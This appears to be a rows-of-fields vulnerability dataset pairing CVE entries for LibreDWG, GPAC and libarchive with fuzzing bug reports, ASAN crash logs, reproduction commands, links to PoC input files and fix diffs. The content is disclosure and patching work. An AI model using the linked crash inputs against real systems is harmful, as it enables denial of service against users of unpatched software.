| https://github.com/LibreDWG/libredwg/issues/182#issuecomment-572890865 | === https://github.com/LibreDWG/libredwg/issues/182#issuecomment-572890865 ===
Title: Several bugs found by fuzzing
---
Body:
Hi,
After fuzzing libredwg, I found the following bugs on the latest commit on master.
Command: ./dwg2SVG $PoC
**1.NULL pointer dereference in htmlescape ../../programs/escape.c:29**
POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_7b9cb829/id:000013%2Csig:06%2Csrc:000000%2Cop:flip1%2Cpos:46417
ASAN says:
```
=================================================================
==19607==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f433bb56646 bp 0x7ffed1176670 sp 0x7ffed1175de8 T0)
==19607==The signal is caused by a READ memory access.
==19607==Hint: address points to the zero page.
#0 0x7f433bb56645 (/lib/x86_64-linux-gnu/libc.so.6+0xb1645)
#1 0x7f433c28557b (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5157b)
#2 0x55950b27cdd4 in htmlescape ../../programs/escape.c:29
#3 0x55950b27abb5 in output_TEXT ../../programs/dwg2SVG.c:113
#4 0x55950b27abb5 in output_object ../../programs/dwg2SVG.c:312
#5 0x55950b27abb5 in output_BLOCK_HEADER ../../programs/dwg2SVG.c:371
#6 0x55950b278477 in output_SVG ../../programs/dwg2SVG.c:411
#7 0x55950b278477 in main ../../programs/dwg2SVG.c:525
#8 0x7f433bac6b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#9 0x55950b278d19 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwg2SVG+0x27ad19)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0xb1645)
==19607==ABORTING
```
---
Comment #1 by linhlhq:
**2.heap-buffer-overflow in htmlescape ../../programs/escape.c:46**
POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_7b9cb829/id:000016%2Csig:06%2Csrc:000000%2Cop:flip1%2Cpos:125355
ASAN says:
```
==4460==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000044cc6 at pc 0x7f2ccba2f66e bp 0x7ffd5b9c04e0 sp 0x7ffd5b9bfc88
READ of size 22 at 0x603000044cc6 thread T0
#0 0x7f2ccba2f66d (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5166d)
#1 0x561be92280e7 in strcat /usr/include/x86_64-linux-gnu/bits/string_fortified.h:128
#2 0x561be92280e7 in htmlescape ../../programs/escape.c:46
#3 0x561be9225b38 in output_BLOCK_HEADER ../../programs/dwg2SVG.c:361
#4 0x561be9223544 in output_SVG ../../programs/dwg2SVG.c:418
#5 0x561be9223544 in main ../../programs/dwg2SVG.c:525
#6 0x7f2ccb270b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#7 0x561be9223d19 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwg2SVG+0x27ad19)
0x603000044cc6 is located 0 bytes to the right of 22-byte region [0x603000044cb0,0x603000044cc6)
allocated by thread T0 here:
#0 0x7f2ccbabcb50 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb50)
#1 0x561be9227de0 in htmlescape ../../programs/escape.c:30
SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5166d)
Shadow bytes around the buggy address:
0x0c0680000940: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00
0x0c0680000950: 00 00 fa fa 00 00 00 fa fa fa 00 00 00 00 fa fa
0x0c0680000960: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 fa
0x0c0680000970: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00
0x0c0680000980: 00 00 fa fa fd fd fd fa fa fa fd fd fd fa fa fa
=>0x0c0680000990: fd fd fd fa fa fa 00 00[06]fa fa fa fa fa fa fa
0x0c06800009a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c06800009b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c06800009c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c06800009d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c06800009e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==4460==ABORTING
```
---
Comment #2 by linhlhq:
**3.heap-buffer-overflow in htmlescape ../../programs/escape.c:51**
POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_7b9cb829/id:000015%2Csig:06%2Csrc:000000%2Cop:flip1%2Cpos:46436
ASAN says:
```
==1959==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000044c67 at pc 0x7f57a7a3f66e bp 0x7fff31617330 sp 0x7fff31616ad8
READ of size 16 at 0x603000044c67 thread T0
#0 0x7f57a7a3f66d (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5166d)
#1 0x561c57375e53 in strcat /usr/include/x86_64-linux-gnu/bits/string_fortified.h:128
#2 0x561c57375e53 in htmlescape ../../programs/escape.c:51
#3 0x561c57373bb5 in output_TEXT ../../programs/dwg2SVG.c:113
#4 0x561c57373bb5 in output_object ../../programs/dwg2SVG.c:312
#5 0x561c57373bb5 in output_BLOCK_HEADER ../../programs/dwg2SVG.c:371
#6 0x561c57371477 in output_SVG ../../programs/dwg2SVG.c:411
#7 0x561c57371477 in main ../../programs/dwg2SVG.c:525
#8 0x7f57a7280b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#9 0x561c57371d19 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwg2SVG+0x27ad19)
0x603000044c67 is located 0 bytes to the right of 23-byte region [0x603000044c50,0x603000044c67)
allocated by thread T0 here:
#0 0x7f57a7accb50 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb50)
#1 0x561c57375de0 in htmlescape ../../programs/escape.c:30
SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5166d)
Shadow bytes around the buggy address:
0x0c0680000930: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 fa
0x0c0680000940: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00
0x0c0680000950: 00 00 fa fa 00 00 00 fa fa fa 00 00 00 00 fa fa
0x0c0680000960: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 fa
0x0c0680000970: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00
=>0x0c0680000980: 00 00 fa fa fd fd fd fa fa fa 00 00[07]fa fa fa
0x0c0680000990: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c06800009a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c06800009b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c06800009c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c06800009d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==1959==ABORTING
```
---
Comment #3 by linhlhq:
**4.NULL pointer dereference in output_TEXT ../../programs/dwg2SVG.c:114**
POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_7b9cb829/id:000020%2Csig:06%2Csrc:000000%2Cop:flip1%2Cpos:138350
ASAN says:
```
=================================================================
==25992==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x55e38790e95d bp 0x7ffffbed38d0 sp 0x7ffffbed37b0 T0)
==25992==The signal is caused by a READ memory access.
==25992==Hint: address points to the zero page.
#0 0x55e38790e95c in output_TEXT ../../programs/dwg2SVG.c:114
#1 0x55e38790e95c in output_object ../../programs/dwg2SVG.c:312
#2 0x55e38790e95c in output_BLOCK_HEADER ../../programs/dwg2SVG.c:371
#3 0x55e38790d477 in output_SVG ../../programs/dwg2SVG.c:411
#4 0x55e38790d477 in main ../../programs/dwg2SVG.c:525
#5 0x7f08b41b1b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#6 0x55e38790dd19 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwg2SVG+0x27ad19)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV ../../programs/dwg2SVG.c:114 in output_TEXT
==25992==ABORTING
```
---
Comment #4 by linhlhq:
**5.heap-buffer-overflow in output_TEXT ../../programs/dwg2SVG.c:114**
POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_7b9cb829/id:000109%2Csig:06%2Csrc:001432%2B002572%2Cop:splice%2Crep:2
ASAN says:
```
=================================================================
==17789==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6030000048c0 at pc 0x56426727812a bp 0x7ffe21f09bc0 sp 0x7ffe21f09bb0
READ of size 8 at 0x6030000048c0 thread T0
#0 0x564267278129 in output_TEXT ../../programs/dwg2SVG.c:114
#1 0x564267278129 in output_object ../../programs/dwg2SVG.c:312
#2 0x564267278129 in output_BLOCK_HEADER ../../programs/dwg2SVG.c:371
#3 0x564267274544 in output_SVG ../../programs/dwg2SVG.c:418
#4 0x564267274544 in main ../../programs/dwg2SVG.c:525
#5 0x7f4960f03b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#6 0x564267274d19 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwg2SVG+0x27ad19)
0x6030000048c0 is located 0 bytes to the right of 32-byte region [0x6030000048a0,0x6030000048c0)
allocated by thread T0 here:
#0 0x7f496174fd38 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded38)
#1 0x56426731003d in dwg_decode_handleref_with_code ../../src/decode.c:3890
SUMMARY: AddressSanitizer: heap-buffer-overflow ../../programs/dwg2SVG.c:114 in output_TEXT
Shadow bytes around the buggy address:
0x0c067fff88c0: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00
0x0c067fff88d0: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00
0x0c067fff88e0: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa
0x0c067fff88f0: 00 00 00 00 fa fa 00 00 00 fa fa fa 00 00 00 00
0x0c067fff8900: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00
=>0x0c067fff8910: 00 fa fa fa 00 00 00 00[fa]fa 00 00 00 00 fa fa
0x0c067fff8920: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00
0x0c067fff8930: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00
0x0c067fff8940: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa
0x0c067fff8950: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00
0x0c067fff8960: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==17789==ABORTING
```
---
Comment #5 by linhlhq:
**6.heap-buffer-overflow in htmlwescape ../../programs/escape.c:97**
POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_7b9cb829/id:000025%2Csig:06%2Csrc:000804%2Cop:havoc%2Crep:2
ASAN says:
```
=================================================================
==19465==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60300000725c at pc 0x7f769710266e bp 0x7ffef73ec550 sp 0x7ffef73ebcf8
READ of size 28 at 0x60300000725c thread T0
#0 0x7f769710266d (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5166d)
#1 0x55d1b06549e7 in strcat /usr/include/x86_64-linux-gnu/bits/string_fortified.h:128
#2 0x55d1b06549e7 in htmlwescape ../../programs/escape.c:97
#3 0x55d1b0650235 in output_BLOCK_HEADER ../../programs/dwg2SVG.c:359
#4 0x55d1b064f503 in output_SVG ../../programs/dwg2SVG.c:413
#5 0x55d1b064f503 in main ../../programs/dwg2SVG.c:525
#6 0x7f7696943b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#7 0x55d1b064fd19 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwg2SVG+0x27ad19)
0x60300000725c is located 0 bytes to the right of 28-byte region [0x603000007240,0x60300000725c)
allocated by thread T0 here:
#0 0x7f769718fb50 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb50)
#1 0x55d1b06543f2 in htmlwescape ../../programs/escape.c:79
SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5166d)
Shadow bytes around the buggy address:
0x0c067fff8df0: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 fa fa fa
0x0c067fff8e00: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 fa
0x0c067fff8e10: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00
0x0c067fff8e20: 00 fa fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa
0x0c067fff8e30: 00 00 00 fa fa fa 00 00 00 00 fa fa 00 00 00 00
=>0x0c067fff8e40: fa fa fd fd fd fd fa fa 00 00 00[04]fa fa fa fa
0x0c067fff8e50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff8e60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff8e70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff8e80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff8e90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==19465==ABORTING
```
---
Comment #6 by linhlhq:
**7.heap-buffer-overflow in htmlescape ../../programs/escape.c:48**
POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_7b9cb829/id:000144%2Csig:06%2Csrc:005649%2Cop:havoc%2Crep:2
ASAN says:
```
==9632==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x604000000abd at pc 0x7f1b8c9f066e bp 0x7ffe890ea740 sp 0x7ffe890e9ee8
READ of size 10 at 0x604000000abd thread T0
#0 0x7f1b8c9f066d (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5166d)
#1 0x55ff72e70067 in strcat /usr/include/x86_64-linux-gnu/bits/string_fortified.h:128
#2 0x55ff72e70067 in htmlescape ../../programs/escape.c:48
#3 0x55ff72e6dbb5 in output_TEXT ../../programs/dwg2SVG.c:113
#4 0x55ff72e6dbb5 in output_object ../../programs/dwg2SVG.c:312
#5 0x55ff72e6dbb5 in output_BLOCK_HEADER ../../programs/dwg2SVG.c:371
#6 0x55ff72e6b544 in output_SVG ../../programs/dwg2SVG.c:418
#7 0x55ff72e6b544 in main ../../programs/dwg2SVG.c:525
#8 0x7f1b8c231b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#9 0x55ff72e6bd19 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwg2SVG+0x27ad19)
0x604000000abd is located 0 bytes to the right of 45-byte region [0x604000000a90,0x604000000abd)
allocated by thread T0 here:
#0 0x7f1b8ca7df40 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdef40)
#1 0x55ff72e6ffa1 in htmlescape ../../programs/escape.c:39
SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5166d)
Shadow bytes around the buggy address:
0x0c087fff8100: fa fa fd fd fd fd fd fa fa fa 00 00 00 00 00 fa
0x0c087fff8110: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
0x0c087fff8120: fa fa 00 00 00 00 00 fa fa fa 00 00 00 00 00 fa
0x0c087fff8130: fa fa 00 00 00 00 00 fa fa fa 00 00 00 00 05 fa
0x0c087fff8140: fa fa 00 00 00 00 00 00 fa fa fd fd fd fd fd fa
=>0x0c087fff8150: fa fa 00 00 00 00 00[05]fa fa fa fa fa fa fa fa
0x0c087fff8160: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff8170: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff8180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff8190: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff81a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==9632==ABORTING
```
---
Comment #7 by linhlhq:
**8.heap-buffer-overflow in htmlwescape ../../programs/escape.c:97**
POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_7b9cb829/id:000099%2Csig:06%2Csrc:005125%2B003017%2Cop:splice%2Crep:8
ASAN says:
```
==682==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6040000019fa at pc 0x7ff79912866e bp 0x7ffdca846b10 sp 0x7ffdca8462b8
READ of size 28 at 0x6040000019fa thread T0
#0 0x7ff79912866d (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5166d)
#1 0x5586562889e7 in strcat /usr/include/x86_64-linux-gnu/bits/string_fortified.h:128
#2 0x5586562889e7 in htmlwescape ../../programs/escape.c:97
#3 0x5586562848de in output_TEXT ../../programs/dwg2SVG.c:111
#4 0x5586562848de in output_object ../../programs/dwg2SVG.c:312
#5 0x5586562848de in output_BLOCK_HEADER ../../programs/dwg2SVG.c:371
#6 0x558656283477 in output_SVG ../../programs/dwg2SVG.c:411
#7 0x558656283477 in main ../../programs/dwg2SVG.c:525
#8 0x7ff798969b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#9 0x558656283d19 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwg2SVG+0x27ad19)
0x6040000019fa is located 0 bytes to the right of 42-byte region [0x6040000019d0,0x6040000019fa)
allocated by thread T0 here:
#0 0x7ff7991b5b50 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb50)
#1 0x5586562883f2 in htmlwescape ../../programs/escape.c:79
SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5166d)
Shadow bytes around the buggy address:
0x0c087fff82e0: fa fa 00 00 00 00 00 fa fa fa 00 00 00 00 00 00
0x0c087fff82f0: fa fa fd fd fd fd fd fa fa fa 00 00 00 00 00 fa
0x0c087fff8300: fa fa 00 00 00 00 00 fa fa fa fd fd fd fd fd fa
0x0c087fff8310: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 fa
0x0c087fff8320: fa fa 00 00 00 00 00 fa fa fa fd fd fd fd fd fa
=>0x0c087fff8330: fa fa fd fd fd fd fd fa fa fa 00 00 00 00 00[02]
0x0c087fff8340: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff8350: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff8360: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff8370: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff8380: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==682==ABORTING
```
---
Comment #8 by rurban:
Nice! I haven't fuzzed that yet.
---
Comment #9 by linhlhq:
ya, I really like fuzz libreDWG because you are very hard working and dedicated to this libreDWG. I hope one day it will be safer. | https://nvd.nist.gov/vuln/detail/CVE-2020-21816 | ||
gpac.cve-2023-46929 | An issue discovered in GPAC 2.3-DEV-rev605-gfc9e29089-master in MP4Box in gf_avc_change_vui /afltest/gpac/src/media_tools/av_parsers.c:6872:55 allows attackers to crash the application. | https://github.com/gpac/gpac/issues/2662 | https://github.com/gpac/gpac/commit/4248def5d24325aeb0e35cacde3d56c9411816a6 | CWE-20 | gpac/gpac | 4248def5d24325aeb0e35cacde3d56c9411816a6~1 | diff --git a/src/media_tools/av_parsers.c b/src/media_tools/av_parsers.c
index 43c3200b90..84e6601b64 100644
--- a/src/media_tools/av_parsers.c
+++ b/src/media_tools/av_parsers.c
@@ -6865,6 +6865,9 @@ GF_Err gf_avc_change_vui(GF_AVCConfig *avcc, GF_VUIInfo *vui_info)
GF_AVCConfigSlot *slc;
orig = NULL;
+ if (!avcc)
+ return GF_NON_COMPLIANT_BITSTREAM;
+
memset(&avc, 0, sizeof(AVCState));
avc.sps_active_idx = -1;
| https://github.com/gpac/gpac/issues/2662 | AddressSanitizer:DEADLYSIGNAL
=================================================================
==3037856==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000008 (pc 0x7ffff67d35c7 bp 0x7ffffffec090 sp 0x7ffffffe29c0 T0)
==3037856==The signal is caused by a READ memory access.
==3037856==Hint: address points to the zero page.
#0 0x7ffff67d35c7 in gf_avc_change_vui /afltest/gpac/src/media_tools/av_parsers.c:6872:55
#1 0x7ffff67d6ce5 in gf_avc_change_color /afltest/gpac/src/media_tools/av_parsers.c:6950:9
#2 0x7ffff677f62c in gf_media_change_color /afltest/gpac/src/media_tools/isom_tools.c:198:3
#3 0x54e165 in import_file /afltest/gpac/applications/mp4box/fileimport.c:1670:9
#4 0x4f7d1e in do_add_cat /afltest/gpac/applications/mp4box/mp4box.c
#5 0x4f7d1e in mp4box_main /afltest/gpac/applications/mp4box/mp4box.c:6196:13
#6 0x7ffff58cc082 in __libc_start_main /build/glibc-BHL3KM/glibc-2.31/csu/../csu/libc-start.c:308:16
#7 0x42adad in _start (/afltest/gpac/bin/gcc/MP4Box+0x42adad)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /afltest/gpac/src/media_tools/av_parsers.c:6872:55 in gf_avc_change_vui
==3037856==ABORTING | === https://github.com/gpac/gpac/issues/2662 ===
Title: SEGV in MP4Box in gf_avc_change_vui /afltest/gpac/src/media_tools/av_parsers.c:6872:55
---
Body:
# SEGV in MP4Box
### Description
SEGV in gpac/MP4Box.
#0 0x7ffff67d35c7 in gf_avc_change_vui /afltest/gpac/src/media_tools/av_parsers.c:6872:55
### Version
```shell
MP4Box - GPAC version 2.3-DEV-rev605-gfc9e29089-master
(c) 2000-2023 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io
Please cite our work in your research:
GPAC Filters: https://doi.org/10.1145/3339825.3394929
GPAC: https://doi.org/10.1145/1291233.1291452
GPAC Configuration:
Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SSL GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_HAS_FFMPEG GPAC_HAS_VORBIS GPAC_HAS_LINUX_DVB
```
### ASAN Log
./MP4Box -add self:hdr=none:videofmt=undef:asemode=v1-qt poc2gpac
```shell
AddressSanitizer:DEADLYSIGNAL
=================================================================
==3037856==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000008 (pc 0x7ffff67d35c7 bp 0x7ffffffec090 sp 0x7ffffffe29c0 T0)
==3037856==The signal is caused by a READ memory access.
==3037856==Hint: address points to the zero page.
#0 0x7ffff67d35c7 in gf_avc_change_vui /afltest/gpac/src/media_tools/av_parsers.c:6872:55
#1 0x7ffff67d6ce5 in gf_avc_change_color /afltest/gpac/src/media_tools/av_parsers.c:6950:9
#2 0x7ffff677f62c in gf_media_change_color /afltest/gpac/src/media_tools/isom_tools.c:198:3
#3 0x54e165 in import_file /afltest/gpac/applications/mp4box/fileimport.c:1670:9
#4 0x4f7d1e in do_add_cat /afltest/gpac/applications/mp4box/mp4box.c
#5 0x4f7d1e in mp4box_main /afltest/gpac/applications/mp4box/mp4box.c:6196:13
#6 0x7ffff58cc082 in __libc_start_main /build/glibc-BHL3KM/glibc-2.31/csu/../csu/libc-start.c:308:16
#7 0x42adad in _start (/afltest/gpac/bin/gcc/MP4Box+0x42adad)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /afltest/gpac/src/media_tools/av_parsers.c:6872:55 in gf_avc_change_vui
==3037856==ABORTING
```
### Reproduction
```shell
git clone https://github.com/gpac/gpac.git
cd gpac
./configure --enable-sanitizer
make -j24
./bin/gcc/MP4Box -add self:hdr=none:videofmt=undef:asemode=v1-qt poc2gpac
```
### PoC
poc2gpac: https://github.com/Frank-Z7/z-vulnerabilitys/blob/main/poc2gpac
### **Impact**
This vulnerability is capable of causing crashes.
### Reference
https://github.com/gpac/gpac
### Environment
```
ubuntu:20.04
gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2)
clang version 10.0.0-4ubuntu1
afl-cc++4.09
```
### Credit
Zeng Yunxiang
Song Jiaxuan | https://nvd.nist.gov/vuln/detail/CVE-2023-46929 | |
gpac.cve-2024-0321 | Stack-based Buffer Overflow in GitHub repository gpac/gpac prior to 2.3-DEV. | https://huntr.com/bounties/4c027b94-8e9c-4c31-a169-893b25047769 | https://github.com/gpac/gpac/commit/d0ced41651b279bb054eb6390751e2d4eb84819a | CWE-121, CWE-787 | gpac/gpac | d0ced41651b279bb054eb6390751e2d4eb84819a~1 | diff --git a/src/filters/load_text.c b/src/filters/load_text.c
index 6373398228..877b285a80 100644
--- a/src/filters/load_text.c
+++ b/src/filters/load_text.c
@@ -377,6 +377,10 @@ char *gf_text_get_utf8_line(char *szLine, u32 lineSize, FILE *txt_in, s32 unicod
GF_LOG(GF_LOG_DEBUG, GF_LOG_PARSER, ("[TXTIn] Line too long to convert to utf8 (len: %d)\n", len));
j = GF_ARRAY_LENGTH(szLineConv) -1 ;
}
+ if ( j >= lineSize ) {
+ GF_LOG(GF_LOG_DEBUG, GF_LOG_PARSER, ("[TXTIn] UT8 converted line too long for buffer (len: %d, buffer: %d)\n", j, lineSize));
+ j = lineSize-1 ;
+ }
szLineConv[j] = 0;
strcpy(szLine, szLineConv);
return sOK;
| https://nvd.nist.gov/vuln/detail/CVE-2024-0321 | ||||
libarchive.cve-2017-14503 | libarchive 3.3.2 suffers from an out-of-bounds read within lha_read_data_none() in archive_read_support_format_lha.c when extracting a specially crafted lha archive, related to lha_crc16. | https://github.com/libarchive/libarchive/commit/2c8c83b9731ff822fad6cc8c670ea5519c366a14 | CWE-125 | libarchive/libarchive | 2c8c83b9731ff822fad6cc8c670ea5519c366a14~1 | diff --git a/libarchive/archive_read_support_format_lha.c b/libarchive/archive_read_support_format_lha.c
index b8ef4ae10e..95c99bb1f3 100644
--- a/libarchive/archive_read_support_format_lha.c
+++ b/libarchive/archive_read_support_format_lha.c
@@ -701,6 +701,12 @@ archive_read_format_lha_read_header(struct archive_read *a,
* Prepare variables used to read a file content.
*/
lha->entry_bytes_remaining = lha->compsize;
+ if (lha->entry_bytes_remaining < 0) {
+ archive_set_error(&a->archive,
+ ARCHIVE_ERRNO_FILE_FORMAT,
+ "Invalid LHa entry size");
+ return (ARCHIVE_FATAL);
+ }
lha->entry_offset = 0;
lha->entry_crc_calculated = 0;
| https://bugs.debian.org/875960, https://github.com/libarchive/libarchive/issues/948 | ==21722==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x631000024800 at pc 0x56536be61878 bp 0x7fffa2254ec0 sp 0x7fffa2254eb8
READ of size 2 at 0x631000024800 thread T0
#0 0x56536be61877 in lha_crc16 libarchive/archive_read_support_format_lha.c:1740
